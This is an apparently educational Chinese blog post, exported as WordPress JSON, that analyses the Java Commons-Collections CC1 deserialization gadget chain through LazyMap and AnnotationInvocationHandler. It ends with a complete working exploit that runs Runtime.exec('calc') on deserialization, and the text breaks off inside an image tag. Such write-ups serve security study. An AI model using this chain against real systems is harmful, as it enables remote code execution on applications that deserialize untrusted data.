{"id":457,"date":"2024-02-11T19:27:44","date_gmt":"2024-02-11T11:27:44","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=457"},"modified":"2024-03-16T00:11:45","modified_gmt":"2024-03-15T16:11:45","slug":"cc11","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2024\/02\/11\/cc11\/","title":{"rendered":"Java\u5b89\u5168 CC\u94fe1\u5206\u6790(Lazymap\u7c7b)"},"content":{"rendered":"<h1>\u524d\u8a00<\/h1>\n<p>\u5728\u770b\u8fd9\u7bc7\u6587\u7ae0\u524d\uff0c\u53ef\u4ee5\u770b\u4e0b\u6211\u7684\u4e0a\u4e00\u7bc7\u6587\u7ae0\uff0c\u4e86\u89e3\u4e0bcc\u94fe1\u7684\u6838\u5fc3\u4e0e\u73af\u5883\u914d\u7f6e<\/p>\n<p><a href=\"https:\/\/blog.byzhb.top\/index.php\/2024\/01\/20\/java-cc1\/\">Java\u5b89\u5168 CC\u94fe1\u5206\u6790<\/a><\/p>\n<p>\u524d\u9762\u6211\u4eec\u5df2\u7ecf\u8bb2\u8fc7\u4e86CC\u94fe1\u7684\u6838\u5fc3ChainedTransformer\u7684transform\u94fe\uff0c\u5e76\u4e14\u7528\u5230\u4e86TransformedMap\u7c7b\u4e2d\u7684\u65b9\u6cd5\u89e6\u53d1\u4e86\u8fd9\u6761\u94fetransform\u7684\u65b9\u6cd5\uff0c\u4f46\u662f\u8fd8\u6709\u4e00\u6761\u94fe\u53ef\u4ee5\u89e6\u53d1\u5176transform\u65b9\u6cd5\uff0c\u8fd9\u6761\u94fe\u7528\u5230\u4e86 LazyMap\u7c7b<\/p>\n<blockquote>\n<p>\u8fd9\u6761\u94fe\u7528\u5230\u4e86\u5927\u91cf\u7684\u53cd\u5c04\u4e0e\u4ee3\u7406\u7684\u77e5\u8bc6\uff0c\u5efa\u8bae\u5728\u770b\u672c\u6587\u7ae0\u524d\u9700\u8981\u63d0\u524d\u8865\u5145\u6216\u590d\u4e60<\/p>\n<\/blockquote>\n<h1>CC\u94fe\u5206\u6790<\/h1>\n<h2>CC\u94fe1\u6838\u5fc3<\/h2>\n<p>\u9996\u5148\u6211\u4eec\u56de\u987e\u4e0bcc\u94fe1\u7684\u6838\u5fc3<\/p>\n<pre><code class=\"language-java\">package org.example;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\npublic class demo1{\n    public static void main(String[] args) throws Exception{\n        \/\/transformers: \u4e00\u4e2atransformer\u94fe\uff0c\u5305\u542b\u5404\u7c7btransformer\u5bf9\u8c61\uff08\u9884\u8bbe\u8f6c\u5316\u903b\u8f91\uff09\u7684\u8f6c\u5316\u6570\u7ec4\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(&quot;getMethod&quot;, new Class[]{String.class, Class[].class}, new Object[]{&quot;getRuntime&quot;, new Class[0]}),\n                new InvokerTransformer(&quot;invoke&quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),\n                new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;})\n        };\n\n        \/\/transformedChain: ChainedTransformer\u7c7b\u5bf9\u8c61\uff0c\u4f20\u5165transformers\u6570\u7ec4\uff0c\u53ef\u4ee5\u6309\u7167transformers\u6570\u7ec4\u7684\u903b\u8f91\u6267\u884c\u8f6c\u5316\u64cd\u4f5c\n        ChainedTransformer transformerChain = new ChainedTransformer(transformers);\n        transformerChain.transform(1);\/\/\u5b8c\u5168\u7684cc1\u9700\u8981\u627e\u5230\u54ea\u91cc\u53ef\u8c03\u7528transform\u65b9\u6cd5\n    }\n}<\/code><\/pre>\n<p>\u6211\u4eec\u63a5\u4e0b\u6765\u7684\u76ee\u6807\u5c31\u662f\u60f3\u6cd5\u8bbe\u6cd5\u8c03\u7528\u4ee5\u4e0a\u4ee3\u7801\u4e2d transformerChain \u5bf9\u8c61\u7684 transform \u65b9\u6cd5\uff0c\u4ece\u800c\u904d\u5386\u5faa\u73af\u76f4\u5230\u547d\u4ee4\u6267\u884c\u3002<\/p>\n<h2>LazyMap\u7c7b<\/h2>\n<p>\u6211\u4eec\u9996\u5148\u8fd8\u662f\u9009\u4e2d transform \u65b9\u6cd5\uff0c\u53f3\u952e\u9009\u62e9\u67e5\u627e\u7528\u6cd5<\/p>\n<p>\u8fd9\u6b21\u6211\u4eec\u6765\u5230\u4e86 LazyMap \u7c7b\u5f53\u4e2d\u7684 get \u65b9\u6cd5<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img2.imgtp.com\/2024\/02\/11\/mfmYUBFL.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img2.imgtp.com\/2024\/02\/11\/mfmYUBFL.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"1707649096767.png\" \/><\/div><br \/>\nLazyMap\u7c7b\u4e2d\u7684get\u65b9\u6cd5\u7684\u4ee3\u7801\u5982\u4e0b<\/p>\n<pre><code class=\"language-java\">    public Object get(Object key) {\n        \/\/ create value for key if key is not currently in the map\n        if (map.containsKey(key) == false) {\n            Object value = factory.transform(key); \/\/\u5173\u952e\n            map.put(key, value);\n            return value;\n        }\n        return map.get(key);\n    }<\/code><\/pre>\n<p>\u7ecf\u5206\u6790\u5f97\uff0c\u5f53\u6ee1\u8db3<code>map.containsKey(key) == false<\/code>\u65f6\uff0c\u4fbf\u4f1a\u6267\u884c<code>factory\u5bf9\u8c61<\/code>\u7684<code>transform\u65b9\u6cd5<\/code><\/p>\n<blockquote>\n<p>\u8981\u60f3\u6ee1\u8db3\u8be5\u8bed\u53e5\uff0c\u6211\u4eec\u4f20\u5165\u4e00\u4e2a<strong>map\u6570\u7ec4\u4e2d\u4e0d\u5b58\u5728\u7684key\u952e\u540d\u5373\u53ef<\/strong><\/p>\n<\/blockquote>\n<p>\u63a5\u4e0b\u6765\u6211\u4eec\u770b\u4e0b LazyMap \u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u5982\u4e0b<\/p>\n<pre><code class=\"language-java\">    protected LazyMap(Map map, Transformer factory) {\n        super(map);\n        if (factory == null) {\n            throw new IllegalArgumentException(&quot;Factory must not be null&quot;);\n        }\n        this.factory = factory;\n    }<\/code><\/pre>\n<p>\u53d1\u73b0 <code>get \u65b9\u6cd5<\/code>\u4e2d\u7684 <code>factory \u53d8\u91cf<\/code>\u662f\u53ef\u63a7\u7684\uff0c\u53ef\u4ee5\u8d4b\u503c\u4e3a\u4e0a\u6587\u7684<code>transformerChain \u5bf9\u8c61<\/code>(cc\u94fe1\u6838\u5fc3),\u4f46\u662f\u8be5\u6784\u9020\u65b9\u6cd5\u662f\u53d7\u4fdd\u62a4\u7684\u7c7b\u578b\uff0c\u5e76\u4e0d\u80fd\u76f4\u63a5\u8c03\u7528\u521b\u5efa\u5bf9\u8c61<\/p>\n<p>\u7136\u540e\u6211\u4eec\u5f80\u4e0a\u627e\u5230\u4e86 <code>decorate<\/code> \u65b9\u6cd5\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n<pre><code class=\"language-java\">    public static Map decorate(Map map, Transformer factory) {\n        return new LazyMap(map, factory);\n    }<\/code><\/pre>\n<p>\u53d1\u73b0\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528\u8fd9\u4e2a\u9759\u6001\u65b9\u6cd5\uff0c\u83b7\u5f97\u4e00\u4e2a <strong>LazyMap \u5bf9\u8c61<\/strong>\uff0c\u5e76\u4e14 <strong>map<\/strong> \u548c <strong>factory<\/strong> \u53c2\u6570\u53ef\u63a7\uff0c\u8fd9\u6837\u5982\u4f55\u83b7\u53d6 LazyMap \u5bf9\u8c61\u7684\u95ee\u9898\u4fbf\u5f97\u5230\u89e3\u51b3<\/p>\n<p>\u6211\u4eec\u5148\u5199\u4e00\u4e2ademo\u8bd5\u8bd5\u8fd9\u91cc\u7684<code>get\u65b9\u6cd5<\/code>\u662f\u5426\u771f\u7684\u53ef\u4ee5\u89e6\u53d1cc\u94fe1<\/p>\n<pre><code class=\"language-java\">package org.example;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\nimport java.util.HashMap;\nimport java.util.Map;\npublic class main2{\n    public static void main(String[] args) throws Exception{\n        \/\/transformers: \u4e00\u4e2atransformer\u94fe\uff0c\u5305\u542b\u5404\u7c7btransformer\u5bf9\u8c61\uff08\u9884\u8bbe\u8f6c\u5316\u903b\u8f91\uff09\u7684\u8f6c\u5316\u6570\u7ec4\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(&quot;getMethod&quot;, new Class[]{String.class, Class[].class}, new Object[]{&quot;getRuntime&quot;,null}),\n                new InvokerTransformer(&quot;invoke&quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n                new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;})\n        };\n        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n\n        HashMap&lt;Object,Object&gt; hash = new HashMap&lt;&gt;();\n        Map decorate = LazyMap.decorate(hash, chainedTransformer);\n        decorate.get(&quot;key&quot;);\n    }\n}<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230demo\u6210\u529f\u8fd0\u884c\u5f39\u51fa\u8ba1\u7b97\u5668<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img2.imgtp.com\/2024\/02\/11\/n8qGZPPd.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img2.imgtp.com\/2024\/02\/11\/n8qGZPPd.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"1707649176962.png\" \/><\/div><\/p>\n<h2>AnnotationInvocationHandler\u7c7b<\/h2>\n<p>\u63a5\u4e0b\u6765\u6211\u4eec\u5bfb\u627e\u5982\u4f55\u89e6\u53d1 LazyMap \u5bf9\u8c61\u7684get\u65b9\u6cd5\uff0c\u6211\u4eec\u540c\u6837\u53f3\u952e\u67e5\u770b\u7528\u6cd5\uff0c\u53ef\u4ee5\u770b\u5230\u7ed3\u679c\u6709\u5f88\u591a\uff0c\u4e3a\u4e86\u8282\u7ea6\u65f6\u95f4\u6211\u4eec\u76f4\u63a5\u6765\u5230<code>AnnotationInvocationHandler\u7c7b<\/code><\/p>\n<p>\u8def\u5f84\u5982\u4e0b<\/p>\n<blockquote>\n<p>\u5916\u90e8\u5e93 -&gt; jdk1.8_65 -&gt; rt.jar -&gt; sun -&gt; reflect -&gt; annotation -&gt; AnnotationInvocationHandler\u7c7b<\/p>\n<\/blockquote>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img2.imgtp.com\/2024\/02\/11\/rAj7PloU.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img2.imgtp.com\/2024\/02\/11\/rAj7PloU.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"1707649207381.png\" \/><\/div><\/p>\n<p><code>AnnotationInvocationHandler\u7c7b<\/code>\u5728 TransformedMap\u7c7b\u6240\u89e6\u53d1\u7684cc\u94fe1\u4e2d\u7528\u5230\u8fc7\uff0c\u8fd9\u91cc\u6211\u4eec\u7528\u5230\u5176 <code>invoke \u65b9\u6cd5<\/code>\uff0c\u8be5\u65b9\u6cd5<strong>\u5173\u952e\u4ee3\u7801<\/strong>\u5982\u4e0b<\/p>\n<pre><code class=\"language-java\">public Object invoke(Object proxy, Method method, Object[] args) {\n   String member = method.getName();\n   Class&lt;?&gt;[] paramTypes = method.getParameterTypes();\n   if (member.equals(&quot;equals&quot;) &amp;&amp; paramTypes.length == 1 &amp;&amp; paramTypes[0] == Object.class)\n        return equalsImpl(args[0]);\n    if (paramTypes.length != 0)\n        throw new AssertionError(&quot;Too many parameters for an annotation method&quot;);\n    switch(member) {\n    case &quot;toString&quot;:\n        return toStringImpl();\n    case &quot;hashCode&quot;:\n        return hashCodeImpl();\n    case &quot;annotationType&quot;:\n        return type;\n    }\n    \/\/ Handle annotation member accessors\n    Object result = memberValues.get(member);<\/code><\/pre>\n<p>\u7ecf\u5206\u6790\uff0c\u6211\u4eec\u9700\u8981\u6ee1\u8db3\u524d\u4e24\u6761 if \u8bed\u53e5\uff0c\u624d\u4f1a\u89e6\u53d1 <code>memberValues \u5bf9\u8c61<\/code>\u7684<code>get\u65b9\u6cd5<\/code>\uff0c\u5426\u5219\u4f1a\u63d0\u524d\u8fd4\u56de\u503c<\/p>\n<p>\u7b2c\u4e00\u4e2aif\uff1a<\/p>\n<pre><code class=\"language-java\">   if (member.equals(&quot;equals&quot;) &amp;&amp; paramTypes.length == 1 &amp;&amp; paramTypes[0] == Object.class)<\/code><\/pre>\n<blockquote>\n<p>\u6211\u4eec\u8c03\u7528\u65b9\u6cd5\u7684\u540d\u5b57\u4e0d\u4e3a equals\u5373\u53ef\u7ed5\u8fc7<\/p>\n<\/blockquote>\n<p>\u7b2c\u4e8c\u4e2aif\uff1a<\/p>\n<pre><code class=\"language-java\">if (paramTypes.length != 0)<\/code><\/pre>\n<blockquote>\n<p>\u6211\u4eec\u65e0\u53c2\u8c03\u7528\u65b9\u6cd5\u5373\u53ef\u7ed5\u8fc7<\/p>\n<\/blockquote>\n<p>\u63a5\u4e0b\u6765\u6211\u4eec\u5206\u6790\u5982\u4f55\u5c06 <code>LazyMap\u5bf9\u8c61<\/code>\u8d4b\u503c\u7ed9\u8be5\u7c7b\u7684 <code>memberValues\u53d8\u91cf<\/code>\uff0c\u6211\u4eec\u67e5\u770b\u6784\u9020\u65b9\u6cd5\uff0c\u53d1\u73b0\u8be5\u65b9\u6cd5\u662f\u79c1\u6709\u7684\uff0c\u6211\u4eec\u65e0\u6cd5\u8c03\u7528<\/p>\n<pre><code class=\"language-java\">    AnnotationInvocationHandler(Class&lt;? extends Annotation&gt; type, Map&lt;String, Object&gt; memberValues) {\n        Class&lt;?&gt;[] superInterfaces = type.getInterfaces();\n        if (!type.isAnnotation() ||\n            superInterfaces.length != 1 ||\n            superInterfaces[0] != java.lang.annotation.Annotation.class)\n            throw new AnnotationFormatError(&quot;Attempt to create proxy for a non-annotation type.&quot;);\n        this.type = type;\n        this.memberValues = memberValues;\n    }<\/code><\/pre>\n<p>\u7136\u540e\u6211\u4eec\u770b\u4e00\u4e0b<code>invoke\u65b9\u6cd5<\/code>\u6240\u5c5e\u7c7b\u7684\u5b9a\u4e49\uff0c\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-java\">class AnnotationInvocationHandler implements InvocationHandler, Serializable {\n    \u2026\u2026\n}<\/code><\/pre>\n<p>\u53d1\u73b0\u8fd9\u4e2a\u7c7b\u63a5\u53e3\u4e86 <strong>InvocationHandler<\/strong>\uff0c\u4ee3\u8868\u8be5\u7c7b\u53ef\u4ee5\u4f5c\u4e3a\u52a8\u6001\u4ee3\u7406\u7684\u4ee3\u7406\u5904\u7406\u5668\uff0c\u53ea\u8981\u63a5\u53e3\u4e86<strong>InvocationHandler\u63a5\u53e3<\/strong>\uff0c\u5c31\u5fc5\u987b<strong>\u91cd\u5199<\/strong> <strong>invoke \u65b9\u6cd5<\/strong>\uff0c\u5e76\u4e14\u8c03\u7528<strong>\u4f7f\u7528\u8be5\u4ee3\u7406\u5904\u7406\u5668<\/strong>\u7684<strong>\u4ee3\u7406\u5bf9\u8c61<\/strong>\u4e2d<strong>\u65b9\u6cd5<\/strong>\u4e4b\u524d\u4f1a<strong>\u81ea\u52a8\u6267\u884c<\/strong>\u8be5 invoke\u65b9\u6cd5\u3002<\/p>\n<p>\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u53ea\u9700\u8981\u521b\u5efa\u4e00\u4e2a \u4ee3\u7406\u5bf9\u8c61\uff0c\u901a\u8fc7\u53cd\u5c04\u8ba9\u5176\u4ee3\u7406\u5904\u7406\u5668\u4e3a<code>AnnotationInvocationHandler\u7c7b<\/code>\uff0c\u7136\u540e\u65e0\u53c2\u8c03\u7528\u4ee3\u7406\u5bf9\u8c61\u7684\u4efb\u610f\u65b9\u6cd5\uff0c\u5373\u53ef\u89e6\u53d1invoke\u65b9\u6cd5<\/p>\n<blockquote>\n<p>\u5728Java\u7684\u52a8\u6001\u4ee3\u7406\u673a\u5236\u4e2d\uff0c\u5728\u6267\u884c\u4ee3\u7406\u5bf9\u8c61\u4e2d\u7684\u65b9\u6cd5\u4e4b\u524d\uff0c\u4f1a\u81ea\u52a8\u6267\u884c\u5176\u4ee3\u7406\u5904\u7406\u5668\u4e2d\u7684invoke\u65b9\u6cd5<\/p>\n<\/blockquote>\n<p>\u8fd9\u6837\u89e6\u53d1 invoke \u65b9\u6cd5\u7684\u95ee\u9898\u4fbf\u89e3\u51b3\u4e86\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u53ea\u9700\u521b\u5efa\u4e00\u4e2a\u4f7f\u7528<code>AnnotationInvocationHandler\u7c7b<\/code>\u4f5c\u4e3a\u5904\u7406\u5668\u7684\u4ee3\u7406\u5bf9\u8c61\uff0c\u5e76\u65e0\u53c2\u8c03\u7528\u8be5\u4ee3\u7406\u5bf9\u8c61\u4e2d\u7684\u65b9\u6cd5\u5373\u53ef\uff0c\u521b\u5efa\u4ee3\u7406\u5bf9\u8c61\u4ee3\u7801\u5982\u4e0b<\/p>\n<pre><code class=\"language-java\">Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);<\/code><\/pre>\n<p>\u63a5\u4e0b\u6765\u4fbf\u662f\u8981\u89e3\u51b3\u2014\u2014\u5982\u4f55<strong>\u65e0\u53c2\u8c03\u7528<\/strong><code>proxyInstance\u4ee3\u7406\u5bf9\u8c61<\/code>\u4e2d\u7684\u65b9\u6cd5<\/p>\n<blockquote>\n<p>\u8fd9\u91cc\u5b9e\u9645\u4e0a\u53ea\u8981\u662f\u627e\u5230<strong>\u65e0\u53c2\u8c03\u7528\u5bf9\u8c61\u4e2d\u65b9\u6cd5\u7684\u5730\u65b9<\/strong>\u5373\u53ef\uff0c<strong>\u4e0d\u9650\u5236\u5728\u54ea\u4e2a\u7c7b<\/strong>\uff0c\u4f46\u7ec8\u70b9\u8981\u4e3a<strong>readObject\u65b9\u6cd5<\/strong><\/p>\n<\/blockquote>\n<p>\u7136\u540e\u6211\u4eec<strong>\u5c31\u8fd1<\/strong>\u5728\u8fd9\u4e2a\u7c7b\u4e2d\uff0c\u5bfb\u627e\u4e00\u4e2a\u65e0\u53c2\u8c03\u7528<code>memberValues\u4e2d\u65b9\u6cd5<\/code>\u7684\u65b9\u6cd5\uff0c\u6211\u4eec\u5f80\u4e0b\u627e\u5230\u4e86<code>readObject\u65b9\u6cd5<\/code>\uff0c\u5176\u6240\u7528\u5230\u7684\u5173\u952e\u4ee3\u7801\uff0c\u8fd8\u662f\u548cTransformedMap\u7c7b\u6240\u89e6\u53d1\u7684cc\u94fe1\u4e2d\u4e00\u6837\uff0c\u4e3a\u4e0b\u9762\u7684<strong>for\u5faa\u73af<\/strong><\/p>\n<blockquote>\n<p>\u627e\u5230readObject\u65b9\u6cd5\u4e5f\u5c31\u610f\u5473\u7740\u627e\u5230\u4e86cc\u94fe1\u7684\u8d77\u70b9<\/p>\n<\/blockquote>\n<pre><code class=\"language-java\">for (Map.Entry&lt;String, Object&gt; memberValue : memberValues.entrySet()) {\n            String name = memberValue.getKey();\n            Class&lt;?&gt; memberType = memberTypes.get(name);\n            if (memberType != null) {  \/\/ i.e. member still exists\n                Object value = memberValue.getValue();\n                if (!(memberType.isInstance(value) ||\n                      value instanceof ExceptionProxy)) {\n                    memberValue.setValue(\n                        new AnnotationTypeMismatchExceptionProxy(\n                            value.getClass() + &quot;[&quot; + value + &quot;]&quot;).setMember(\n                                annotationType.members().get(name)));\n                }\n            }\n        }<\/code><\/pre>\n<p>\u6211\u4eec\u53d1\u73b0for\u5faa\u73af\u4e2d\u7684\u8be5\u8bed\u53e5\u53ef\u5b9e\u73b0\u5bf9<code>memberValues\u53d8\u91cf<\/code>\u4e2d\u7684\u65b9\u6cd5\u5b9e\u73b0\u65e0\u53c2\u8c03\u7528<\/p>\n<pre><code class=\"language-java\">for (Map.Entry&lt;String, Object&gt; memberValue : memberValues.entrySet())<\/code><\/pre>\n<p>\u4f46\u662f\u6211\u4eec\u53d1\u73b0<code>AnnotationInvocationHandler\u7c7b<\/code>\u662f\u79c1\u6709\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7<strong>\u53cd\u5c04\u83b7\u53d6\u6784\u9020\u65b9\u6cd5<\/strong>\u8fdb\u800c\u521d\u59cb\u5316\uff0c\u7136\u540e\u6784\u9020\u51fd\u6570\u7684<code>memberValue\u53d8\u91cf\u503c<\/code>\u8bbe\u7f6e\u4e3a\u6211\u4eec\u7684\u4ee3\u7406\u5bf9\u8c61\u5373\u53ef<\/p>\n<p>\u6574\u7406\u4e0b\u601d\u8def \u6211\u4eec\u5148\u7528<code>AnnotationInvocationHandler\u7c7b<\/code>\u4f5c\u4e3a\u4ee3\u7406\u5904\u7406\u5668\u521b\u5efa\u4e86\u4e00\u4e2a\u4ee3\u7406\u5bf9\u8c61<code>proxyInstance<\/code>\uff0c\u7136\u540e\u53c8\u901a\u8fc7<strong>\u53cd\u5c04<\/strong>\u521b\u5efa\u4e86\u4e00\u4e2a<code>AnnotationInvocationHandler\u5bf9\u8c61<\/code>\uff0c\u5e76\u5c06\u6210\u5458\u5c5e\u6027\u8bbe\u7f6e\u4e3a\u4ee3\u7406\u5bf9\u8c61<code>proxyInstance<\/code>\uff0c\u76ee\u7684\u662f\u4e3a\u4e86\u5728<code>AnnotationInvocationHandler\u5bf9\u8c61<\/code>\u4e2d\u7684<code>readObject\u65b9\u6cd5<\/code>\u91cc\u9762\u5bf9\u4ee3\u7406\u5bf9\u8c61<code>proxyInstance<\/code>\uff08<code>memberValues\u53d8\u91cf<\/code>\uff09\u5b9e\u73b0\u65e0\u53c2\u8c03\u7528\uff0c\u4ece\u800c\u89e6\u53d1\u4ee3\u7406\u5904\u7406\u5668<code>AnnotationInvocationHandler\u7c7b<\/code>\u4e2d\u7684<code>invoke\u65b9\u6cd5<\/code>\uff0c\u8fdb\u800c\u89e6\u53d1<code>get\u65b9\u6cd5<\/code>\uff0c\u6700\u540e\u89e6\u53d1<code>transform\u65b9\u6cd5<\/code>\uff0c\u4ece\u800c\u5b9e\u73b0cc\u94fe1<\/p>\n<h1>\u5b8c\u6574exp\uff1a<\/h1>\n<p>cc\u94fe1(Lazymap)\u5b8c\u6574exp\uff1a<\/p>\n<pre><code class=\"language-java\">import org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Proxy;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class cc11 {\n    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {\n\n        \/\/\u5b9a\u4e49\u4e00\u7cfb\u5217Transformer\u5bf9\u8c61,\u7ec4\u6210\u4e00\u4e2a\u53d8\u6362\u94fe\n        Transformer[] transformers = new Transformer[]{\n                \/\/\u8fd4\u56deRuntime.class\n                new ConstantTransformer(Runtime.class),\n                \/\/\u901a\u8fc7\u53cd\u5c04\u8c03\u7528getRuntime()\u65b9\u6cd5\u83b7\u53d6Runtime\u5bf9\u8c61\n                new InvokerTransformer(&quot;getMethod&quot;, new Class[]{String.class, Class[].class}, new Object[]{&quot;getRuntime&quot;,null}),\n                \/\/\u901a\u8fc7\u53cd\u5c04\u8c03\u7528invoke()\u65b9\u6cd5\n                new InvokerTransformer(&quot;invoke&quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n                \/\/\u901a\u8fc7\u53cd\u5c04\u8c03\u7528exec()\u65b9\u6cd5\u542f\u52a8\u8ba1\u7b97\u5668\n                new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;})\n        };\n        \/\/\u5c06\u591a\u4e2aTransformer\u5bf9\u8c61\u7ec4\u5408\u6210\u4e00\u4e2a\u94fe\n        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n\n        HashMap&lt;Object,Object&gt; hash = new HashMap&lt;&gt;();\n        \/\/\u4f7f\u7528chainedTransformer\u88c5\u9970HashMap\u751f\u6210\u65b0\u7684Map\n        Map decorate = LazyMap.decorate(hash, chainedTransformer);\n\n        \/\/\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6AnnotationInvocationHandler\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\n        Class c = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;);\n        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);\n        \/\/\u8bbe\u7f6e\u6784\u9020\u65b9\u6cd5\u4e3a\u53ef\u8bbf\u95ee\u7684\n        constructor.setAccessible(true);\n        \/\/\u901a\u8fc7\u53cd\u5c04\u521b\u5efa Override \u7c7b\u7684\u4ee3\u7406\u5bf9\u8c61 instance,\u5e76\u8bbe\u7f6e\u5176\u8c03\u7528\u4f1a\u59d4\u6258\u7ed9 decorate \u5bf9\u8c61\n        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);\n\n        \/\/\u521b\u5efaMap\u63a5\u53e3\u7684\u4ee3\u7406\u5bf9\u8c61proxyInstance,\u5e76\u8bbe\u7f6e\u5176\u8c03\u7528\u5904\u7406\u5668\u4e3ainstance\n        Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);\n        \/\/\u518d\u6b21\u901a\u8fc7\u53cd\u5c04\u521b\u5efa\u4ee3\u7406\u5bf9\u8c61\n        Object o = constructor.newInstance(Override.class, proxyInstance);\n\n        serialize(o);\n        unserialize(&quot;1.bin&quot;);\n    }\n\n    public static void serialize(Object obj) throws IOException {\n        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get(&quot;1.bin&quot;)));\n        out.writeObject(obj);\n    }\n\n    public static void unserialize(String filename) throws IOException, ClassNotFoundException {\n        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));\n        out.readObject();\n    }\n\n}<\/code><\/pre>\n<p>\u8fd0\u884c\u6210\u529f\u5f39\u51fa\u8ba1\u7b97\u5668<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img2.imgtp.com\/2024\/02\/11\/H5CRTQv1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" 